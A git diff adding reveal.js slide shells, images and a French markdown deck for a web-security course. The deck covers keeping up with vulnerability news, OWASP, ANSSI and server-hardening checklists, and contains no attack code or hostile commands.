diff --git a/content/slides/1337/anticiper.html b/content/slides/1337/anticiper.html new file mode 100644 index 0000000000000000000000000000000000000000..a8f8c57d8eb18644302de188aa17eca8b4472153 --- /dev/null +++ b/content/slides/1337/anticiper.html @@ -0,0 +1,70 @@ +<!doctype html> +<html> + <head> + <meta charset="utf-8"> + <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> + + <title>anticiper</title> + + <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css"> + <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css"> + + <!-- Theme used for syntax highlighting of code --> + <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css"> + <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css"> + <link rel="stylesheet" href="../main.css"> + + <!-- Printing and PDF exports --> + <script> + var link = document.createElement( 'link' ); + link.rel = 'stylesheet'; + link.type = 'text/css'; + link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css'; + document.getElementsByTagName( 'head' )[0].appendChild( link ); + </script> + </head> + <body> + <div class="reveal"> + <div class="slides"> + <section data-markdown="md/anticiper.md" + data-separator="^\n\n\n" + data-separator-vertical="^\n\n" + data-separator-notes="^Note:" + data-charset="utf-8"> + </section> + </div> + </div> + + <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script> + <script src="../../node_modules/reveal.js/js/reveal.js"></script> + + <script> + // More info about config & dependencies: + // - https://github.com/hakimel/reveal.js#configuration + // - https://github.com/hakimel/reveal.js#dependencies + Reveal.initialize({ + controls: true, + progress: true, + history: true, + center: false, + dependencies: [ + { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' }, + { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js', + condition: function() { return !!document.querySelector( '[data-markdown]' ); }, + callback: function() { + Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){ + var fragIndex = ele.innerHTML.indexOf("--") + if (fragIndex != -1){ + ele.innerHTML = ele.innerHTML.replace("--", ""); + ele.className = 'fragment'; + } + }); + } + }, + { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true }, + { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } } + ] + }); + </script> + </body> +</html> diff --git a/content/slides/1337/csrf.html b/content/slides/1337/csrf.html new file mode 100644 index 0000000000000000000000000000000000000000..0e2c1af70051edcdab4e06ba58cb51d87c7da2b4 --- /dev/null +++ b/content/slides/1337/csrf.html @@ -0,0 +1,70 @@ +<!doctype html> +<html> + <head> + <meta charset="utf-8"> + <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> + + <title>CSRF</title> + + <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css"> + <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css"> + + <!-- Theme used for syntax highlighting of code --> + <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css"> + <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css"> + <link rel="stylesheet" href="../main.css"> + + <!-- Printing and PDF exports --> + <script> + var link = document.createElement( 'link' ); + link.rel = 'stylesheet'; + link.type = 'text/css'; + link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css'; + document.getElementsByTagName( 'head' )[0].appendChild( link ); + </script> + </head> + <body> + <div class="reveal"> + <div class="slides"> + <section data-markdown="md/csrf.md" + data-separator="^\n\n\n" + data-separator-vertical="^\n\n" + data-separator-notes="^Note:" + data-charset="utf-8"> + </section> + </div> + </div> + + <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script> + <script src="../../node_modules/reveal.js/js/reveal.js"></script> + + <script> + // More info about config & dependencies: + // - https://github.com/hakimel/reveal.js#configuration + // - https://github.com/hakimel/reveal.js#dependencies + Reveal.initialize({ + controls: true, + progress: true, + history: true, + center: false, + dependencies: [ + { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' }, + { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js', + condition: function() { return !!document.querySelector( '[data-markdown]' ); }, + callback: function() { + Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){ + var fragIndex = ele.innerHTML.indexOf("--") + if (fragIndex != -1){ + ele.innerHTML = ele.innerHTML.replace("--", ""); + ele.className = 'fragment'; + } + }); + } + }, + { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true }, + { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } } + ] + }); + </script> + </body> +</html> diff --git a/content/slides/1337/drupalgeddon.html b/content/slides/1337/drupalgeddon.html new file mode 100644 index 0000000000000000000000000000000000000000..b34d670c5383f67760fd20f393c5aaf94935b7fd --- /dev/null +++ b/content/slides/1337/drupalgeddon.html @@ -0,0 +1,70 @@ +<!doctype html> +<html> + <head> + <meta charset="utf-8"> + <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> + + <title>Drupalgeddon</title> + + <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css"> + <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css"> + + <!-- Theme used for syntax highlighting of code --> + <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css"> + <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css"> + <link rel="stylesheet" href="../main.css"> + + <!-- Printing and PDF exports --> + <script> + var link = document.createElement( 'link' ); + link.rel = 'stylesheet'; + link.type = 'text/css'; + link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css'; + document.getElementsByTagName( 'head' )[0].appendChild( link ); + </script> + </head> + <body> + <div class="reveal"> + <div class="slides"> + <section data-markdown="md/drupalgeddon.md" + data-separator="^\n\n\n" + data-separator-vertical="^\n\n" + data-separator-notes="^Note:" + data-charset="utf-8"> + </section> + </div> + </div> + + <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script> + <script src="../../node_modules/reveal.js/js/reveal.js"></script> + + <script> + // More info about config & dependencies: + // - https://github.com/hakimel/reveal.js#configuration + // - https://github.com/hakimel/reveal.js#dependencies + Reveal.initialize({ + controls: true, + progress: true, + history: true, + center: false, + dependencies: [ + { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' }, + { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js', + condition: function() { return !!document.querySelector( '[data-markdown]' ); }, + callback: function() { + Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){ + var fragIndex = ele.innerHTML.indexOf("--") + if (fragIndex != -1){ + ele.innerHTML = ele.innerHTML.replace("--", ""); + ele.className = 'fragment'; + } + }); + } + }, + { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true }, + { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } } + ] + }); + </script> + </body> +</html> diff --git a/content/slides/1337/images/anticiper/Bruce-Schneier-Quotes-1.jpg b/content/slides/1337/images/anticiper/Bruce-Schneier-Quotes-1.jpg new file mode 100644 index 0000000000000000000000000000000000000000..d49e9fb745f2ace5848dccd4ea2e0b13f29d54d3 Binary files /dev/null and b/content/slides/1337/images/anticiper/Bruce-Schneier-Quotes-1.jpg differ diff --git a/content/slides/1337/images/anticiper/Bruce-Schneier-Quotes-5.jpg b/content/slides/1337/images/anticiper/Bruce-Schneier-Quotes-5.jpg new file mode 100644 index 0000000000000000000000000000000000000000..b3e19cab0ee913c1a5e22ec9e075eebbf4d7ffc5 Binary files /dev/null and b/content/slides/1337/images/anticiper/Bruce-Schneier-Quotes-5.jpg differ diff --git a/content/slides/1337/images/anticiper/Flagship_banner.jpg b/content/slides/1337/images/anticiper/Flagship_banner.jpg new file mode 100644 index 0000000000000000000000000000000000000000..320b6a1b8a0025b345da99918b8f09e441652d3d Binary files /dev/null and b/content/slides/1337/images/anticiper/Flagship_banner.jpg differ diff --git a/content/slides/1337/images/anticiper/Incubator_banner.jpg b/content/slides/1337/images/anticiper/Incubator_banner.jpg new file mode 100644 index 0000000000000000000000000000000000000000..ed818e7cd6c833a59f3c611f031c8b7b6b46f6bc Binary files /dev/null and b/content/slides/1337/images/anticiper/Incubator_banner.jpg differ diff --git a/content/slides/1337/images/anticiper/Lab_banner.jpg b/content/slides/1337/images/anticiper/Lab_banner.jpg new file mode 100644 index 0000000000000000000000000000000000000000..ef97ebc6f72c24254fa3cffd1e4505403990a18f Binary files /dev/null and b/content/slides/1337/images/anticiper/Lab_banner.jpg differ diff --git a/content/slides/1337/images/anticiper/Low_activity.jpg b/content/slides/1337/images/anticiper/Low_activity.jpg new file mode 100644 index 0000000000000000000000000000000000000000..ca771b9b8d3e85133eb0c37fc8a4d2c494f3cb84 Binary files /dev/null and b/content/slides/1337/images/anticiper/Low_activity.jpg differ diff --git a/content/slides/1337/images/anticiper/bepositive.jpg b/content/slides/1337/images/anticiper/bepositive.jpg new file mode 100644 index 0000000000000000000000000000000000000000..58c1439ea4e6c0fab4d576a1bbc3b0ec08440a59 Binary files /dev/null and b/content/slides/1337/images/anticiper/bepositive.jpg differ diff --git a/content/slides/1337/images/anticiper/ispconfig.jpg b/content/slides/1337/images/anticiper/ispconfig.jpg new file mode 100644 index 0000000000000000000000000000000000000000..21c89d7a53ca1b4dec3c8f83d4f2bb1fe7ebef28 Binary files /dev/null and b/content/slides/1337/images/anticiper/ispconfig.jpg differ diff --git a/content/slides/1337/images/anticiper/phpmyadmin-vuln.png b/content/slides/1337/images/anticiper/phpmyadmin-vuln.png new file mode 100644 index 0000000000000000000000000000000000000000..68fe4864106ca2252f8713b18ee47c917f7a4c9a Binary files /dev/null and b/content/slides/1337/images/anticiper/phpmyadmin-vuln.png differ diff --git a/content/slides/1337/images/anticiper/yoda.gif b/content/slides/1337/images/anticiper/yoda.gif new file mode 100644 index 0000000000000000000000000000000000000000..f6c12c5abe7bc8ae0c549b2fb5004e1003f1d6ad Binary files /dev/null and b/content/slides/1337/images/anticiper/yoda.gif differ diff --git a/content/slides/1337/images/csrf/csrf-stp.png b/content/slides/1337/images/csrf/csrf-stp.png new file mode 100644 index 0000000000000000000000000000000000000000..a4cd4c7f464bd954281632cc04de2813ed3ae086 Binary files /dev/null and b/content/slides/1337/images/csrf/csrf-stp.png differ diff --git a/content/slides/1337/images/csrf/csrf.png b/content/slides/1337/images/csrf/csrf.png new file mode 100644 index 0000000000000000000000000000000000000000..ad51e0512d710923bdfe744d1027698516939908 Binary files /dev/null and b/content/slides/1337/images/csrf/csrf.png differ diff --git a/content/slides/1337/images/drupalgeddon/Google-fu-chuck-norris.jpg b/content/slides/1337/images/drupalgeddon/Google-fu-chuck-norris.jpg new file mode 100644 index 0000000000000000000000000000000000000000..5be8d496af3f188fd2fe8ed818dc776245a5d641 Binary files /dev/null and b/content/slides/1337/images/drupalgeddon/Google-fu-chuck-norris.jpg differ diff --git a/content/slides/1337/images/drupalgeddon/down_the_rabbit_hole.jpg b/content/slides/1337/images/drupalgeddon/down_the_rabbit_hole.jpg new file mode 100644 index 0000000000000000000000000000000000000000..95a93393d30b12f661ba90a21d5fbcea16dc26b1 Binary files /dev/null and b/content/slides/1337/images/drupalgeddon/down_the_rabbit_hole.jpg differ diff --git a/content/slides/1337/images/drupalgeddon/drupalgeddon.jpg b/content/slides/1337/images/drupalgeddon/drupalgeddon.jpg new file mode 100644 index 0000000000000000000000000000000000000000..9791aca44c02e150c6697a6ab53d5c45bcef1b38 Binary files /dev/null and b/content/slides/1337/images/drupalgeddon/drupalgeddon.jpg differ diff --git a/content/slides/1337/images/drupalgeddon/viagra.jpg b/content/slides/1337/images/drupalgeddon/viagra.jpg new file mode 100644 index 0000000000000000000000000000000000000000..e21e0b679343febfe046c2f5b3ecf354a21e8b34 Binary files /dev/null and b/content/slides/1337/images/drupalgeddon/viagra.jpg differ diff --git a/content/slides/1337/images/drupalgeddon/woot.gif b/content/slides/1337/images/drupalgeddon/woot.gif new file mode 100644 index 0000000000000000000000000000000000000000..1dce2fddfd210e72b3b1b2fe70999597861fa595 Binary files /dev/null and b/content/slides/1337/images/drupalgeddon/woot.gif differ diff --git a/content/slides/1337/images/drupalgeddon/yes.jpg b/content/slides/1337/images/drupalgeddon/yes.jpg new file mode 100644 index 0000000000000000000000000000000000000000..c171348101cd3ee92cde2f7d3704e02e3bf232d9 Binary files /dev/null and b/content/slides/1337/images/drupalgeddon/yes.jpg differ diff --git a/content/slides/1337/images/sqli/sqlinjection_comics.png b/content/slides/1337/images/sqli/sqlinjection_comics.png new file mode 100644 index 0000000000000000000000000000000000000000..530ddc0473ec44d032181c4b8b13a93caa738c6d Binary files /dev/null and b/content/slides/1337/images/sqli/sqlinjection_comics.png differ diff --git a/content/slides/1337/images/sqli/sqlmap.png b/content/slides/1337/images/sqli/sqlmap.png new file mode 100644 index 0000000000000000000000000000000000000000..ecca7f9cfdffd88357ac615fc501add4e24baa77 Binary files /dev/null and b/content/slides/1337/images/sqli/sqlmap.png differ diff --git a/content/slides/1337/images/top10/Relative_Portions_of_Each_Attack_Type.png b/content/slides/1337/images/top10/Relative_Portions_of_Each_Attack_Type.png new file mode 100644 index 0000000000000000000000000000000000000000..e24687dfa0a304183036b9ee4e87755b75fa9ae2 Binary files /dev/null and b/content/slides/1337/images/top10/Relative_Portions_of_Each_Attack_Type.png differ diff --git a/content/slides/1337/images/xss/XSS-alice1.png b/content/slides/1337/images/xss/XSS-alice1.png new file mode 100644 index 0000000000000000000000000000000000000000..0762d42ec2dcb7ef9dc9528ff3b80f8a29a2c9e6 Binary files /dev/null and b/content/slides/1337/images/xss/XSS-alice1.png differ diff --git a/content/slides/1337/images/xss/XSS-alice2.png b/content/slides/1337/images/xss/XSS-alice2.png new file mode 100644 index 0000000000000000000000000000000000000000..71dd025d3d98710ad1091346084db298c5253d6c Binary files /dev/null and b/content/slides/1337/images/xss/XSS-alice2.png differ diff --git a/content/slides/1337/images/xss/XSS-bob.png b/content/slides/1337/images/xss/XSS-bob.png new file mode 100644 index 0000000000000000000000000000000000000000..e7939f23ff80df01686bad315548b426530ee9ad Binary files /dev/null and b/content/slides/1337/images/xss/XSS-bob.png differ diff --git a/content/slides/1337/images/xss/XSS-fleche.png b/content/slides/1337/images/xss/XSS-fleche.png new file mode 100644 index 0000000000000000000000000000000000000000..626241c40a8491ac2b54430931042158c6aeeab0 Binary files /dev/null and b/content/slides/1337/images/xss/XSS-fleche.png differ diff --git a/content/slides/1337/images/xss/XSS-infos.gif b/content/slides/1337/images/xss/XSS-infos.gif new file mode 100644 index 0000000000000000000000000000000000000000..03a6428ff5aca4a908a7d29b4d16c2eb7a53efad Binary files /dev/null and b/content/slides/1337/images/xss/XSS-infos.gif differ diff --git a/content/slides/1337/images/xss/XSS-scripts.png b/content/slides/1337/images/xss/XSS-scripts.png new file mode 100644 index 0000000000000000000000000000000000000000..c6c6e4cc66c6078686c831a8e7943ef50397eb5f Binary files /dev/null and b/content/slides/1337/images/xss/XSS-scripts.png differ diff --git a/content/slides/1337/images/xss/XSS-serveurpirate.png b/content/slides/1337/images/xss/XSS-serveurpirate.png new file mode 100644 index 0000000000000000000000000000000000000000..974ecd4b574f76e4196fcf36c21eec80954eb2dc Binary files /dev/null and b/content/slides/1337/images/xss/XSS-serveurpirate.png differ diff --git a/content/slides/1337/images/xss/XSS-serveurvictime.png b/content/slides/1337/images/xss/XSS-serveurvictime.png new file mode 100644 index 0000000000000000000000000000000000000000..6149084e8b08c53c93c164f88aaece6774280513 Binary files /dev/null and b/content/slides/1337/images/xss/XSS-serveurvictime.png differ diff --git a/content/slides/1337/images/xss/XSS-site.png b/content/slides/1337/images/xss/XSS-site.png new file mode 100644 index 0000000000000000000000000000000000000000..b65fb55a0a8b5f24fc5a73acfa573acef6ea1e55 Binary files /dev/null and b/content/slides/1337/images/xss/XSS-site.png differ diff --git a/content/slides/1337/images/xss/XSS-sitefaille.png b/content/slides/1337/images/xss/XSS-sitefaille.png new file mode 100644 index 0000000000000000000000000000000000000000..1e861f91fa5f3f6eda237095a33ac9b9088eeb95 Binary files /dev/null and b/content/slides/1337/images/xss/XSS-sitefaille.png differ diff --git a/content/slides/1337/images/xss/XSS-sitepiege.png b/content/slides/1337/images/xss/XSS-sitepiege.png new file mode 100644 index 0000000000000000000000000000000000000000..fb42dbd1d759d700d00581e2100942050f05982e Binary files /dev/null and b/content/slides/1337/images/xss/XSS-sitepiege.png differ diff --git a/content/slides/1337/images/xss/XSS.png b/content/slides/1337/images/xss/XSS.png new file mode 100644 index 0000000000000000000000000000000000000000..eee8ceee9cb2d7b4a5625bd7d40fca3685468242 Binary files /dev/null and b/content/slides/1337/images/xss/XSS.png differ diff --git a/content/slides/1337/images/xss/beef-webcam.jpg b/content/slides/1337/images/xss/beef-webcam.jpg new file mode 100644 index 0000000000000000000000000000000000000000..06272f2d6603b0db32ee07cadba36f8a3bf6afcc Binary files /dev/null and b/content/slides/1337/images/xss/beef-webcam.jpg differ diff --git a/content/slides/1337/images/xss/csp.png b/content/slides/1337/images/xss/csp.png new file mode 100644 index 0000000000000000000000000000000000000000..7bfac0ce5b67dc295b4794ff19f270653d4dbf59 Binary files /dev/null and b/content/slides/1337/images/xss/csp.png differ diff --git a/content/slides/1337/images/xss/inspector.png b/content/slides/1337/images/xss/inspector.png new file mode 100644 index 0000000000000000000000000000000000000000..6cf8e8c0158b4c2e236e710cc9a7246edf27f428 Binary files /dev/null and b/content/slides/1337/images/xss/inspector.png differ diff --git a/content/slides/1337/images/xss/sop.png b/content/slides/1337/images/xss/sop.png new file mode 100644 index 0000000000000000000000000000000000000000..94ff160615c810c92530dc26af33e7b22dda6104 Binary files /dev/null and b/content/slides/1337/images/xss/sop.png differ diff --git a/content/slides/1337/js.html b/content/slides/1337/js.html new file mode 100644 index 0000000000000000000000000000000000000000..c747cb5be2733541adfc63310815ca0527059bf1 --- /dev/null +++ b/content/slides/1337/js.html @@ -0,0 +1,70 @@ +<!doctype html> +<html> + <head> + <meta charset="utf-8"> + <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> + + <title>JS</title> + + <link rel="stylesheet" href="../../node_modules/reveal.js/css/reveal.css"> + <link rel="stylesheet" href="../../node_modules/reveal.js/css/theme/white.css"> + + <!-- Theme used for syntax highlighting of code --> + <link rel="stylesheet" href="../../node_modules/reveal.js/lib/css/zenburn.css"> + <link rel="stylesheet" href="../../node_modules/font-awesome/css/font-awesome.min.css"> + <link rel="stylesheet" href="../main.css"> + + <!-- Printing and PDF exports --> + <script> + var link = document.createElement( 'link' ); + link.rel = 'stylesheet'; + link.type = 'text/css'; + link.href = window.location.search.match( /print-pdf/gi ) ? '../../node_modules/reveal.js/css/print/pdf.css' : '../../node_modules/reveal.js/css/print/paper.css'; + document.getElementsByTagName( 'head' )[0].appendChild( link ); + </script> + </head> + <body> + <div class="reveal"> + <div class="slides"> + <section data-markdown="md/js.md" + data-separator="^\n\n\n" + data-separator-vertical="^\n\n" + data-separator-notes="^Note:" + data-charset="utf-8"> + </section> + </div> + </div> + + <script src="../../node_modules/reveal.js/lib/js/head.min.js"></script> + <script src="../../node_modules/reveal.js/js/reveal.js"></script> + + <script> + // More info about config & dependencies: + // - https://github.com/hakimel/reveal.js#configuration + // - https://github.com/hakimel/reveal.js#dependencies + Reveal.initialize({ + controls: true, + progress: true, + history: true, + center: false, + dependencies: [ + { src: '../../node_modules/reveal.js/plugin/markdown/marked.js' }, + { src: '../../node_modules/reveal.js/plugin/markdown/markdown.js', + condition: function() { return !!document.querySelector( '[data-markdown]' ); }, + callback: function() { + Array.prototype.forEach.call(document.querySelectorAll('section > li'), function(ele){ + var fragIndex = ele.innerHTML.indexOf("--") + if (fragIndex != -1){ + ele.innerHTML = ele.innerHTML.replace("--", ""); + ele.className = 'fragment'; + } + }); + } + }, + { src: '../../node_modules/reveal.js/plugin/notes/notes.js', async: true }, + { src: '../../node_modules/reveal.js/plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } } + ] + }); + </script> + </body> +</html> diff --git a/content/slides/1337/md/anticiper.md b/content/slides/1337/md/anticiper.md new file mode 100644 index 0000000000000000000000000000000000000000..2c907b155bcf40331680a5411d9855a355c5319e --- /dev/null +++ b/content/slides/1337/md/anticiper.md @@ -0,0 +1,509 @@ +# Anticiper + +## aka le métier qui rentre ... + + +## Trouver des mentors + + + + +## Trouver des mentors + + + +<i class="fa fa-quote-left"></i> la sécurité n'est pas un produit c'est un process <i class="fa fa-quote-right"></i> _Bruce Schneier_ + + +## Organiser sa veille + +* [CVE (Common Vulnerabilities and Exposures)](http://cve.mitre.org/index.html) + * MITRE est une société qui + * a lancé le projet CVE ("Common Vulnerabilities and Exposures") + * facilite l'échange d'information de sécurité + * maintient les ID de vulnérabilité +* [CVE Details](https://www.cvedetails.com/) + * custom RSS + + +## phpMyAdmin + +<!-- .element width="90%" --> + +Note: +- bien percé + - Ne pas trop exposer + - bien pratique + - Utiliser un client lourd + - MySQL Workbench + + +## Organiser sa veille + + * [National Vulnerability Database - US](https://nvd.nist.gov/) + * [CERT EU](https://cert.europa.eu/cert/filteredition/en/CERT-LatestNews.html) + * [CERT FR](http://www.cert.ssi.gouv.fr/cert-fr/certfr.html) - [archive 2015](http://www.cert.ssi.gouv.fr/site/2015index.html) + * [CERT RENATER](https://services.renater.fr/ssi/cert/index) - [sécurité](https://services.renater.fr/ssi/securite/index) + * et d'autres [CSIRT](http://www.cert.ssi.gouv.fr/cert-fr/cert.html) + + +## Organiser sa veille + +* Sources reconnues + * [Bugtraq - Security Focus](http://www.securityfocus.com/bid) + * [Open Source Software Security Wiki](http://oss-security.openwall.org/wiki/) + * [<i class="fa fa-envelope"></i> Mailing list](http://oss-security.openwall.org/wiki/mailing-lists/oss-security) + * [<i class="fa fa-twitter"></i> openwall](https://twitter.com/openwall) + * [SecLists.Org Security Mailing List Archive](http://seclists.org/) + + +## Organiser sa veille + +* Sources alternatives + * [Exploit Databse](https://www.exploit-db.com) + * [Shodan - Popular Searches](https://www.shodan.io/explore/popular) + * [Shodan - Recently Shared](https://www.shodan.io/explore/recent) + +* Sources spécialisés + * [WPScan Vulnerability Database](https://wpvulndb.com/) + * [drupalexploit.com](http://www.drupalexploit.com/) + + +## Organiser sa veille + +* <i class="fa fa-twitter"></i> twitter + * [<i class="fa fa-list-alt"></i> ma liste ssi-infosec-hack](https://twitter.com/mazenovi/lists/ssi-infosec-hack) +* <i class="fa fa-wordpress"></i> blog + * en anglais + * https://googleonlinesecurity.blogspot.fr/ + * https://www.schneier.com/ + * https://nakedsecurity.sophos.com/ + +Note: +- parler de netvibes et yahoo pipes (qui ets mort) + - considérer les solutions hébergées + + +## Organiser sa veille + +* <i class="fa fa-wordpress"></i> blog + * en français + * http://www.bortzmeyer.org/ + * https://reflets.info/ + * http://zythom.blogspot.fr/ + * http://www.nolimitsecu.fr + * http://news0ft.blogspot.fr + + +## Organiser sa veille + +* autre ... + * en français + * http://www.security-feeds.com/ + * http://vigilance.fr/ + * http://www.datasecuritybreach.fr/ + * http://www.zataz.com/ + * http://www.globalsecuritymag.fr/ + * http://assiste.com/ + + +## OWASP + +* depuis janvier 2001 +* fondation Américaine + * [à but non lucratif](http://en.wikipedia.org/wiki/501%28c%29_organization#501.28c.29.283.29) +* en France + * Association loi 1901 + * participe au [clusif - Club de la Sécurité de l’Information Français](http://www.clusif.asso.fr/) + * Ludovic Petit & [Sebastien Gioria ](https://twitter.com/spoint) + * [L'OWASP, l'univers, et le reste](https://air.mozilla.org/talks-owasp-afup-firefoxos-security-mozilla-firefoxos-what-is-owasp-by-sebastien-gioria/) + + +## OWASP - Indépendance + +* composé d'expert indépendants +* indépendant des fournisseurs de solution +* indépendant des gouvernements +* Les projets sont opensource +* nombreux adhérents + * entreprises + * institutions + * [individus](https://docs.google.com/spreadsheets/d/1FQEj2xQb1uTxZMXshPs0suy1Bkb5iYCbHH_vrzHMVa4/edit) + * [join now](http://myowasp.force.com/memberappregion): <strike>adhésion gratuite</strike> donation obligatoire 50$ minimum + +Note: +- le marché de la sécurité est blindé de commericaux + - et de conflit d'intérêt + + +## OWASP - Projets + +<!-- .element width="70%"--> +<!-- .element width="70%"--> +<!-- .element width="70%"--> +<!-- .element width="70%"--> + + +## [Owasp projects](https://www.owasp.org/index.php/Category:OWASP_Project#tab=Project_Inventory) + +* [OWASP Top Ten project](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project) +* [OWASP Testing Guide](https://www.owasp.org/index.php/OWASP_Testing_Project) +* [OWASP Risk Rating Methodology](https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology) +* [OWASP Code Review Guide](https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project) +* [OWASP Developer Guide](https://www.owasp.org/index.php/OWASP_Guide_Project) + + +## [Owasp projects](https://www.owasp.org/index.php/Category:OWASP_Project#tab=Project_Inventory) + +* [OWASP Enterprise Security API](https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API) +* [OWASP Application Security Desk Reference](https://www.owasp.org/index.php/Category:OWASP_ASDR_Project) +* [OWASP Cheat Sheets](https://www.owasp.org/index.php/Cheat_Sheets) +* [OWASP Application Security Verification Standard (ASVS)](http://www.owasp.org/index.php/ASVS) +* [OWASP Legal Project](http://www.owasp.org/index.php/Category:OWASP_Legal_Project) +* [and more ...](https://www.owasp.org/index.php/Category:OWASP_Project#tab=Project_Inventory) + + +## [ANSSI](href="http://www.ssi.gouv.fr) + +* organisme de + * [formation](http://www.ssi.gouv.fr/fr/anssi/formations/) + * sensibilisation / recommandation + * [guide d'hygiène informatique](http://www.ssi.gouv.fr/IMG/pdf/guide_hygiene_informatique_anssi.pdf) + * [Objectifs de sécurité (dans le cadre du plan vigipirate)](http://www.ssi.gouv.fr/fr/defense-des-si/les-plans-gouvernementaux/) et au niveau [OIV](http://www.ssi.gouv.fr/actualite/lanssi-sattele-aux-decrets-dapplication-de-la-lpm-portant-sur-la-protection-des-operateurs-dimportance-vitale/) + * [cybersécurité des système industriels](http://www.ssi.gouv.fr/fr/guides-et-bonnes-pratiques/recommandations-et-guides/securite-des-systemes-industriels/la-cybersecurite-des-systemes-industriels.html) + * [Sécuriser un site web](http://www.ssi.gouv.fr/guide/recommandations-pour-la-securisation-des-sites-web/) + * [Protéger son site Internet des cyberattaques](http://www.ssi.gouv.fr/actualite/proteger-son-site-internet-des-cyberattaques/) + + +## [ANSSI](href="http://www.ssi.gouv.fr) + +* certfication + * [de produits de sécurité](http://www.ssi.gouv.fr/fr/produits-et-prestataires/produits-certifies-cc/) + * [de prestataires de services de confiance](http://www.ssi.gouv.fr/fr/produits-et-prestataires/prestataires-de-services-de-confiance-qualifies/) +* d'intervention / investigation + +[<i class="fa fa-book"></i> La Stratégie nationale pour la sécurité du numérique : une réponse aux nouveaux enjeux des usages numériques](http://www.ssi.gouv.fr/actualite/la-strategie-nationale-pour-la-securite-du-numerique-une-reponse-aux-nouveaux-enjeux-des-usages-numeriques/) + +Note: +- de la com pourrie aussi [HACK ACADEMY : DE DRÔLES DE HACKERS AU SERVICE DE LA PRÉVENTION](http://www.ssi.gouv.fr/actualite/hack-academy-de-droles-de-hackers-au-service-de-la-prevention/) + + +## Autres entités SSI françaises + +* [OzSSI](http://www.ssi.gouv.fr/agence/cybersecurite/ozssi/) + * [Zomm sur les OzSSI](http://www.ssi.gouv.fr/actualite/zoom-sur-les-ozssi/) +* [OSSIR](http://www.ossir.org/) +* [CLUSIF](https://www.clusif.asso.fr/) + * [CLUSIR Rhône Alpes](http://www.clusir-rha.fr/) + * CLUSIR Auvergne? + + +## Best Practices / Cheat sheets / Checklists + +* Généraliste + * http://www.sans.org/critical-security-controls/ + * [The Joel Test: 12 Steps to Better Code](http://www.joelonsoftware.com/articles/fog0000000043.html) +* OWASP + * [OWASP Proactive Controls](https://www.owasp.org/index.php/OWASP_Proactive_Controls) +* Linux + * https://www.sans.org/media/score/checklists/linuxchecklist.pdf + + +## Best Practices / Cheat sheets / Checklists + +* Apache + * http://httpd.apache.org/docs/2.4/misc/security_tips.html + * http://geekflare.com/10-best-practices-to-secure-and-harden-your-apache-web-server/ + * http://www.tecmint.com/apache-security-tips/ + * http://blogs.reliablepenguin.com/2012/10/09/apache-configuration-best-practicies + + +## Best Practices / Cheat sheets / Checklists + +* Nginx + * http://www.cyberciti.biz/tips/linux-unix-bsd-nginx-webserver-security.html +* Wordpress + * http://mazenovi.github.io/blog/2015/01/28/securing-wordpress/ +* Drupal + * https://www.drupal.org/project/security_review + + +#### Proposition d'Hervé Schauer + +[HSC Newsletter](https://www.hsc.com.vn/en/help-center/other-services/hsc-newsletter) -- N°135 + +* Utilisez-vous systématiquement des requêtes SQL préparées (connues aussi sous le nom de requêtes paramétrées) ? +* Utilisez-vous la gestion de session d'un cadriciel/bibliothèque fiable ? +* Encodez-vous systématiquement les valeurs venant de l'extérieur (utilisateur, base de données...) avant de les envoyer vers l'affichage ? +* Utilisez-vous SSL/TLS sur la totalité de votre site ? + + +#### Proposition d'Hervé Schauer + +* Stockez-vous et vérifiez-vous les mots de passe utilisateurs uniquement en les dérivant avec *sha256crypt*, *bcrypt*, *scrypt*, *pbkdf2(sha256)* ou *argon2*? +* Évitez-vous systématiquement d'utiliser les entrées utilisateurs pour des appels systèmes ? +* Stockez-vous les téléchargements utilisateurs vers l'application (uploads) dans un environnement restreint ? + + +#### 